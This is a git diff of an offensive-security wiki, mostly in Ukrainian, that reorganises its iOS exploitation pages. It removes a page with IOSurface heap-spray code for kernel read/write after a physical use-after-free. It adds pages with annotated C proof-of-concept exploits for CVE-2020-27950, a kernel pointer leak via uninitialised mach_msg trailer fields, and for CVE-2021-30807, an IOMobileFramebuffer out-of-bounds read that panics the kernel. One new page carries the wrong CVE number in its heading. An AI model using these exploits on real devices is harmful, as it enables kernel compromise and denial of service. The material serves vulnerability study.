diff --git a/src/SUMMARY.md b/src/SUMMARY.md index b18b11ccd..d4104d430 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -768,7 +768,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -838,7 +838,7 @@ - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) # 🤖 AI - [AI Security](AI/README.md) diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md deleted file mode 100644 index 48f2df548..000000000 --- a/src/binary-exploitation/ios-exploiting.md +++ /dev/null @@ -1,207 +0,0 @@ -# iOS Exploiting - -{{#include ../banners/hacktricks-training.md}} - -## Фізичне використання після звільнення - -Це резюме з посту з [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), крім того, додаткову інформацію про експлуатацію з використанням цієї техніки можна знайти в [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) - -### Управління пам'яттю в XNU - -**Віртуальний адресний простір пам'яті** для користувацьких процесів на iOS охоплює діапазон від **0x0 до 0x8000000000**. Однак ці адреси не відображаються безпосередньо на фізичну пам'ять. Натомість **ядро** використовує **таблиці сторінок** для перетворення віртуальних адрес на фактичні **фізичні адреси**. - -#### Рівні таблиць сторінок в iOS - -Таблиці сторінок організовані ієрархічно на трьох рівнях: - -1. **L1 Таблиця сторінок (Рівень 1)**: -* Кожен запис тут представляє великий діапазон віртуальної пам'яті. -* Вона охоплює **0x1000000000 байт** (або **256 ГБ**) віртуальної пам'яті. -2. **L2 Таблиця сторінок (Рівень 2)**: -* Запис тут представляє меншу область віртуальної пам'яті, а саме **0x2000000 байт** (32 МБ). -* Запис L1 може вказувати на таблицю L2, якщо не може відобразити весь регіон самостійно. -3. **L3 Таблиця сторінок (Рівень 3)**: -* Це найдрібніший рівень, де кожен запис відображає одну **4 КБ** сторінку пам'яті. -* Запис L2 може вказувати на таблицю L3, якщо потрібен більш детальний контроль. - -#### Відображення віртуальної пам'яті на фізичну - -* **Пряме відображення (Блокове відображення)**: -* Деякі записи в таблиці сторінок безпосередньо **відображають діапазон віртуальних адрес** на безперервний діапазон фізичних адрес (як скорочення). -* **Вказівник на дочірню таблицю сторінок**: -* Якщо потрібен більш детальний контроль, запис на одному рівні (наприклад, L1) може вказувати на **дочірню таблицю сторінок** на наступному рівні (наприклад, L2). - -#### Приклад: Відображення віртуальної адреси - -Припустимо, ви намагаєтеся отримати доступ до віртуальної адреси **0x1000000000**: - -1. **Таблиця L1**: -* Ядро перевіряє запис таблиці L1, що відповідає цій віртуальній адресі. Якщо він має **вказівник на таблицю L2**, воно переходить до цієї таблиці L2. -2. **Таблиця L2**: -* Ядро перевіряє таблицю L2 для більш детального відображення. Якщо цей запис вказує на **таблицю L3**, воно продовжує туди. -3. **Таблиця L3**: -* Ядро шукає фінальний запис L3, який вказує на **фізичну адресу** фактичної сторінки пам'яті. - -#### Приклад відображення адреси - -Якщо ви запишете фізичну адресу **0x800004000** у перший індекс таблиці L2, тоді: - -* Віртуальні адреси від **0x1000000000** до **0x1002000000** відображаються на фізичні адреси від **0x800004000** до **0x802004000**. -* Це **блокове відображення** на рівні L2. - -Альтернативно, якщо запис L2 вказує на таблицю L3: - -* Кожна 4 КБ сторінка у віртуальному адресному діапазоні **0x1000000000 -> 0x1002000000** буде відображена окремими записами в таблиці L3. - -### Фізичне використання після звільнення - -**Фізичне використання після звільнення** (UAF) відбувається, коли: - -1. Процес **виділяє** деяку пам'ять як **читабельну та записувану**. -2. **Таблиці сторінок** оновлюються, щоб відобразити цю пам'ять на конкретну фізичну адресу, до якої процес може отримати доступ. -3. Процес **звільняє** пам'ять. -4. Однак, через **помилку**, ядро **забуває видалити відображення** з таблиць сторінок, хоча і позначає відповідну фізичну пам'ять як вільну. -5. Ядро може потім **перевиділити цю "звільнену" фізичну пам'ять** для інших цілей, таких як **дані ядра**. -6. Оскільки відображення не було видалено, процес все ще може **читати та писати** в цю фізичну пам'ять. - -Це означає, що процес може отримати доступ до **сторінок пам'яті ядра**, які можуть містити чутливі дані або структури, що потенційно дозволяє зловмиснику **маніпулювати пам'яттю ядра**. - -### Стратегія експлуатації: Heap Spray - -Оскільки зловмисник не може контролювати, які конкретні сторінки ядра будуть виділені для звільненої пам'яті, вони використовують техніку, звану **heap spray**: - -1. Зловмисник **створює велику кількість об'єктів IOSurface** в пам'яті ядра. -2. Кожен об'єкт IOSurface містить **магічне значення** в одному з його полів, що полегшує його ідентифікацію. -3. Вони **сканують звільнені сторінки**, щоб перевірити, чи потрапив якийсь з цих об'єктів IOSurface на звільнену сторінку. -4. Коли вони знаходять об'єкт IOSurface на звільненій сторінці, вони можуть використовувати його для **читання та запису пам'яті ядра**. - -Більше інформації про це в [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) - -### Покроковий процес Heap Spray - -1. **Розпилення об'єктів IOSurface**: Зловмисник створює багато об'єктів IOSurface з особливим ідентифікатором ("магічне значення"). -2. **Сканування звільнених сторінок**: Вони перевіряють, чи були виділені якісь з об'єктів на звільненій сторінці. -3. **Читання/Запис пам'яті ядра**: Маніпулюючи полями в об'єкті IOSurface, вони отримують можливість виконувати **произвольні читання та записи** в пам'яті ядра. Це дозволяє їм: -* Використовувати одне поле для **читання будь-якого 32-бітного значення** в пам'яті ядра. -* Використовувати інше поле для **запису 64-бітних значень**, досягаючи стабільного **примітиву читання/запису ядра**. - -Генерувати об'єкти IOSurface з магічним значенням IOSURFACE\_MAGIC для подальшого пошуку: -```c -void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { -if (*nClients >= 0x4000) return; -for (int i = 0; i < nSurfaces; i++) { -fast_create_args_t args; -lock_result_t result; - -size_t size = IOSurfaceLockResultSize; -args.address = 0; -args.alloc_size = *nClients + 1; -args.pixel_format = IOSURFACE_MAGIC; - -IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); -io_connect_t id = result.surface_id; - -(*clients)[*nClients] = id; -*nClients = (*nClients) += 1; -} -} -``` -Шукайте **`IOSurface`** об'єкти на одній звільненій фізичній сторінці: -```c -int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { -io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); -int nSurfaceIDs = 0; - -for (int i = 0; i < 0x400; i++) { -spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - -for (int j = 0; j < nPages; j++) { -uint64_t start = puafPages[j]; -uint64_t stop = start + (pages(1) / 16); - -for (uint64_t k = start; k < stop; k += 8) { -if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { -info.object = k; -info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; -if (self_task) *self_task = iosurface_get_receiver(k); -goto sprayDone; -} -} -} -} - -sprayDone: -for (int i = 0; i < nSurfaceIDs; i++) { -if (surfaceIDs[i] == info.surface) continue; -iosurface_release(client, surfaceIDs[i]); -} -free(surfaceIDs); - -return 0; -} -``` -### Досягнення читання/запису в ядрі з IOSurface - -Після отримання контролю над об'єктом IOSurface в пам'яті ядра (відображеним на звільнену фізичну сторінку, доступну з простору користувача), ми можемо використовувати його для **произвольних операцій читання та запису в ядрі**. - -**Ключові поля в IOSurface** - -Об'єкт IOSurface має два важливих поля: - -1. **Вказівник на кількість використань**: Дозволяє **32-бітне читання**. -2. **Вказівник на індексований часовий штамп**: Дозволяє **64-бітний запис**. - -Перезаписуючи ці вказівники, ми перенаправляємо їх на произвольні адреси в пам'яті ядра, що дозволяє виконувати операції читання/запису. - -#### 32-Бітне читання з ядра - -Щоб виконати читання: - -1. Перезапишіть **вказівник на кількість використань**, щоб він вказував на цільову адресу мінус зсув 0x14 байт. -2. Використовуйте метод `get_use_count`, щоб прочитати значення за цією адресою. -```c -uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { -uint64_t args[1] = {surfaceID}; -uint32_t size = 1; -uint64_t out = 0; -IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); -return (uint32_t)out; -} - -uint32_t iosurface_kread32(uint64_t addr) { -uint64_t orig = iosurface_get_use_count_pointer(info.object); -iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 -uint32_t value = get_use_count(info.client, info.surface); -iosurface_set_use_count_pointer(info.object, orig); -return value; -} -``` -#### 64-Бітний Запис Ядра - -Щоб виконати запис: - -1. Перезапишіть **індексований вказівник часу** на цільову адресу. -2. Використовуйте метод `set_indexed_timestamp`, щоб записати 64-бітне значення. -```c -void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { -uint64_t args[3] = {surfaceID, 0, value}; -IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); -} - -void iosurface_kwrite64(uint64_t addr, uint64_t value) { -uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); -iosurface_set_indexed_timestamp_pointer(info.object, addr); -set_indexed_timestamp(info.client, info.surface, value); -iosurface_set_indexed_timestamp_pointer(info.object, orig); -} -``` -#### Резюме потоку експлуатації - -1. **Виклик фізичного використання після звільнення**: Вільні сторінки доступні для повторного використання. -2. **Розподіл об'єктів IOSurface**: Виділити багато об'єктів IOSurface з унікальним "магічним значенням" у пам'яті ядра. -3. **Визначити доступний IOSurface**: Знайти IOSurface на звільненій сторінці, якою ви керуєте. -4. **Зловживання використанням після звільнення**: Змінити вказівники в об'єкті IOSurface, щоб дозволити довільне **читання/запис ядра** через методи IOSurface. - -З цими примітивами експлуатація забезпечує контрольовані **32-бітні читання** та **64-бітні записи** в пам'ять ядра. Подальші кроки джейлбрейка можуть включати більш стабільні примітиви читання/запису, які можуть вимагати обходу додаткових захистів (наприклад, PPL на новіших пристроях arm64e). - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md new file mode 100644 index 000000000..42bbd7e6b --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md @@ -0,0 +1,332 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## Уразливість + +Є [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), але коротко: + +Кожне Mach message, яке отримує kernel, закінчується **"trailer"**: структура змінної довжини з метаданими (seqno, sender token, audit token, context, access control data, labels...). Ядро **завжди резервує найбільший можливий trailer** (MAX_TRAILER_SIZE) в буфері повідомлення, але **ініціалізує тільки деякі поля**, а потім пізніше **вирішує, який розмір trailer повернути** на основі **опцій прийому, керованих користувачем**. + +These are the trailer relevant structs: +```c +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +} mach_msg_trailer_t; + +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +mach_port_seqno_t msgh_seqno; +security_token_t msgh_sender; +audit_token_t msgh_audit; +mach_port_context_t msgh_context; +int msgh_ad; +msg_labels_t msgh_labels; +} mach_msg_mac_trailer_t; + +#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t) +typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; +#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) +``` +Тоді, коли trailer object генерується, ініціалізуються лише деякі поля, а max trailer size завжди резервується: +```c +trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); +trailer->msgh_sender = current_thread()->task->sec_token; +trailer->msgh_audit = current_thread()->task->audit_token; +trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; +trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; +[...] +trailer->msgh_labels.sender = 0; +``` +Наприклад, при спробі прочитати mach message за допомогою `mach_msg()` викликається функція `ipc_kmsg_add_trailer()`, щоб додати trailer до повідомлення. Усередині цієї функції обчислюється розмір trailer і заповнюються деякі інші поля trailer: +```c +if (!(option & MACH_RCV_TRAILER_MASK)) { [3] +return trailer->msgh_trailer_size; +} + +trailer->msgh_seqno = seqno; +trailer->msgh_context = context; +trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); +``` +Параметр `option` керується користувачем, тому **необхідно передати значення, яке пройде перевірку `if`.** + +Щоб пройти цю перевірку, потрібно надіслати допустимий підтримуваний `option`: +```c +#define MACH_RCV_TRAILER_NULL 0 +#define MACH_RCV_TRAILER_SEQNO 1 +#define MACH_RCV_TRAILER_SENDER 2 +#define MACH_RCV_TRAILER_AUDIT 3 +#define MACH_RCV_TRAILER_CTX 4 +#define MACH_RCV_TRAILER_AV 7 +#define MACH_RCV_TRAILER_LABELS 8 + +#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28) +#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) +#define MACH_RCV_TRAILER_MASK ((0xf << 24)) +``` +Але, оскільки `MACH_RCV_TRAILER_MASK` просто перевіряє біти, ми можемо передати будь-яке значення від `0` до `8`, щоб не потрапити всередину `if`-виразу. + +Далі, продовжуючи з code, ви знайдете: +```c +if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { +trailer->msgh_ad = 0; +} + +/* +* The ipc_kmsg_t holds a reference to the label of a label +* handle, not the port. We must get a reference to the port +* and a send right to copyout to the receiver. +*/ + +if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) { +trailer->msgh_labels.sender = 0; +} + +done: +#ifdef __arm64__ +ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); +#endif /* __arm64__ */ + +return trailer->msgh_trailer_size; +``` +Як бачите, якщо `option` більше або дорівнює `MACH_RCV_TRAILER_AV` (7), поле **`msgh_ad`** ініціалізується значенням `0`. + +Якщо ви помітили, **`msgh_ad`** залишалося єдиним полем трейлера, яке раніше не було ініціалізоване і могло містити leak із раніше використаної пам'яті. + +Отже, спосіб уникнути його ініціалізації — передати значення `option`, рівне `5` або `6`, щоб пройти першу перевірку `if` і не зайти в `if`, який ініціалізує `msgh_ad`, оскільки значення `5` і `6` не відповідають жодному типу трейлера. + +### Базовий PoC + +У [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) наведено PoC для простого leak деяких випадкових даних. + +### PoC для Leak-адреси ядра + +У [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) наведено PoC для leak адреси ядра. Для цього в повідомленні відправляється багато структур `mach_msg_port_descriptor_t`, оскільки поле `name` цієї структури в userland містить unsigned int, але в kernel поле `name` є вказівником на структуру `ipc_port`. Отже, відправлення десятків таких структур у повідомленні в kernel призведе до того, що **до повідомлення буде додано кілька kernel-адрес**, тож одну з них можна буде leak-нути. + +Додано коментарі для кращого розуміння: +```c +#include +#include +#include +#include + +// Number of OOL port descriptors in the "big" message. +// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds). +#define LEAK_PORTS 50 + +// "Big" message: many descriptors → larger descriptor array in kmsg +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS]; +} message_big_t; + +// "Small" message: fewer descriptors → leaves more room for the trailer +// to overlap where descriptor pointers used to be in the reused kalloc chunk. +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10]; +} message_small_t; + +int main(int argc, char *argv[]) { +mach_port_t port; // our local receive port (target of sends) +mach_port_t sent_port; // the port whose kernel address we want to leak + +/* +* 1) Create a receive right and attach a send right so we can send to ourselves. +* This gives us predictable control over ipc_kmsg allocations when we send. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); +mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); + +/* +* 2) Create another receive port (sent_port). We'll reference this port +* in OOL descriptors so the kernel stores pointers to its ipc_port +* structure in the kmsg → those pointers are what we aim to leak. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port); +mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND); + +printf("[*] Will get port %x address\n", sent_port); + +message_big_t *big_message = NULL; +message_small_t *small_message = NULL; + +// Compute userland sizes of our message structs +mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message); +mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message); + +// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin) +big_message = malloc(big_size + MAX_TRAILER_SIZE); +small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +/* +* 3) Prepare the "big" message: +* - Complex bit set (has descriptors) +* - 50 OOL port descriptors, all pointing to the same sent_port +* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port). +* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel). +*/ +printf("[*] Creating first kalloc.1024 ipc_kmsg\n"); +memset(big_message, 0, big_size + MAX_TRAILER_SIZE); + +big_message->header.msgh_remote_port = port; // send to our receive right +big_message->header.msgh_size = big_size; +big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +big_message->body.msgh_descriptor_count = LEAK_PORTS; + +for (int i = 0; i < LEAK_PORTS; i++) { +big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers +} + +/* +* 4) Prepare the "small" message: +* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused, +* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived. +*/ +printf("[*] Creating second kalloc.1024 ipc_kmsg\n"); +memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +small_message->header.msgh_remote_port = port; +small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +small_message->body.msgh_descriptor_count = LEAK_PORTS - 10; + +for (int i = 0; i < LEAK_PORTS - 10; i++) { +small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +small_message->sent_ports[i].name = sent_port; +} + +/* +* 5) Receive buffer for reading back messages with trailers. +* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5). +* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized +* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak. +*/ +uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE); +mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally) +uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks + +/* +* ---------- Exploitation sequence ---------- +* +* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many +* kernel pointers (ipc_port*) in its descriptor array. +*/ +printf("[*] Sending message 1\n"); +mach_msg(&big_message->header, +MACH_SEND_MSG, +big_size, // send size +0, // no receive +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step B: Immediately receive/discard it with a zero-sized buffer. +* This frees the kalloc chunk without copying descriptors back, +* leaving the kernel pointers resident in freed memory (stale). +*/ +printf("[*] Discarding message 1\n"); +mach_msg((mach_msg_header_t *)0, +MACH_RCV_MSG, // try to receive +0, // send size 0 +0, // recv size 0 (forces error/free path) +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step C: Reuse the same size-class with the "small" message (fewer descriptors). +* We slightly bump msgh_size by +4 so that when the kernel appends +* the trailer, the trailer's uninitialized field `msgh_ad` overlaps +* the low 4 bytes of a stale ipc_port* pointer from the prior message. +*/ +small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window +printf("[*] Sending message 2\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t), +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step D: Receive message 2 and request an invalid trailer elements value (5). +* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer. +* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size. +* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7), +* so with 5, `msgh_ad` remains uninitialized → stale bytes leak. +*/ +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 2\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950 +0, +small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +// Trailer begins right after the message body we sent (small_size + 4) +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)); + +// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*) +sent_port_address |= (uint32_t)trailer->msgh_ad; + +/* +* Step E: Repeat the A→D cycle but now shift by another +4 bytes. +* This moves the overlap window so `msgh_ad` captures the high 4 bytes. +*/ +printf("[*] Sending message 3\n"); +mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +printf("[*] Discarding message 3\n"); +mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +// add another +4 to msgh_size → total +8 shift from the baseline +small_message->header.msgh_size = small_size + sizeof(uint32_t)*2; +printf("[*] Sending message 4\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t)*2, +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 4\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), +0, +small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2); + +// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer +sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32; + +printf("[+] Port %x has address %lX\n", sent_port, sent_port_address); + +return 0; +} +``` +## Посилання + +- [Публікація Synacktiv](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md new file mode 100644 index 000000000..3a8940c36 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md @@ -0,0 +1,297 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## The Bug + +Є [чудове пояснення vuln тут](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), але коротко: + +- Уразливий шлях виконання — **external method #83** user client'а **IOMobileFramebuffer / AppleCLCD**: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. Ця функція отримує параметр, контрольований користувачем, який ніяк не перевіряється і передається в наступну функцію як **`scalar0`**. + +- Та функція викликає **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, де **`scalar0`** (керований користувачем **32-bit** значення) використовується як **index** в внутрішньому **array of pointers** без **any bounds check**: + +> `ptr = *(this + 0xA58 + scalar0 * 8);` → передається в `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` як **`IOSurface*`**.\ +> **Result:** **OOB pointer read & type confusion** в цьому масиві. Якщо вказівник недійсний, дереф ядра панікує → **DoS**. + +> [!NOTE] +> This was fixed in **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** + + +> [!WARNING] +> The initial function to call `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` is protected by the entitlement **`com.apple.private.allow-explicit-graphics-priority`**. However, **WebKit.WebContent** has this entitlement, so it can be used to trigger the vuln from a sandboxed process. + +## DoS PoC + +Нижче наведено початковий DoS PoC з оригінального блог-поста з додатковими коментарями: +```c +// PoC for CVE-2021-30807 trigger (annotated) +// NOTE: This demonstrates the crash trigger; it is NOT an LPE. +// Build/run only on devices you own and that are vulnerable. +// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory) +// https://support.apple.com/en-us/103144 +// https://nvd.nist.gov/vuln/detail/CVE-2021-30807 + +void trigger_clcd_vuln(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; + +// The "type" argument is the type (selector) of user client to open. +// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the +// external methods we need (incl. selector 83). If this doesn't work on your +// build, try different types or query IORegistry to enumerate. +int type = 2; + +// 1) Locate the IOMobileFramebuffer service in the IORegistry. +// This returns the first matched service object (a kernel object handle). +io_service_t service = IOServiceGetMatchingService( +kIOMasterPortDefault, +IOServiceMatching("IOMobileFramebuffer")); + +if (service == MACH_PORT_NULL) { +printf("failed to open service\n"); +return; +} + +printf("service: 0x%x\n", service); + +// 2) Open a connection (user client) to the service. +// The user client is what exposes external methods to userland. +// 'type' selects which user client class/variant to instantiate. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if (ret != KERN_SUCCESS) { +printf("failed to open userclient: %s\n", mach_error_string(ret)); +return; +} + +printf("client: 0x%x\n", shared_user_client_conn); + +printf("call externalMethod\n"); + +// 3) Prepare input scalars for the external method call. +// The vulnerable path uses a 32-bit scalar as an INDEX into an internal +// array of pointers WITHOUT bounds checking (OOB read / type confusion). +// We set it to a large value to force the out-of-bounds access. +uint64_t scalars[4] = { 0x0 }; +scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup + +// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID). +uint64_t output_scalars[4] = { 0 }; +uint32_t output_scalars_size = 1; + +printf("call s_default_fb_surface\n"); + +// 5) Invoke external method #83. +// On vulnerable builds, this path ends up calling: +// IOMobileFramebufferUserClient::s_displayed_fb_surface(...) +// → IOMobileFramebufferLegacy::get_displayed_surface(...) +// which uses our index to read a pointer and then passes it as IOSurface*. +// If the pointer is bogus, IOSurface code will dereference it and the kernel +// will panic (DoS). +ret = IOConnectCallMethod( +shared_user_client_conn, +83, // **Selector 83**: vulnerable external method +scalars, 1, // input scalars (count = 1; the OOB index) +NULL, 0, // no input struct +output_scalars, &output_scalars_size, // optional outputs +NULL, NULL); // no output struct + +// 6) Check the call result. On many vulnerable targets, you'll see either +// KERN_SUCCESS right before a panic (because the deref happens deeper), +// or an error if the call path rejects the request (e.g., entitlement/type). +if (ret != KERN_SUCCESS) { +printf("failed to call external method: 0x%x --> %s\n", +ret, mach_error_string(ret)); +return; +} + +printf("external method returned KERN_SUCCESS\n"); + +// 7) Clean up the user client connection handle. +IOServiceClose(shared_user_client_conn); +printf("success!\n"); +} +``` +## Arbitrary Read PoC Explained + +1. **Opening the right user client** + +- `get_appleclcd_uc()` знаходить сервіс **AppleCLCD** і відкриває **user client 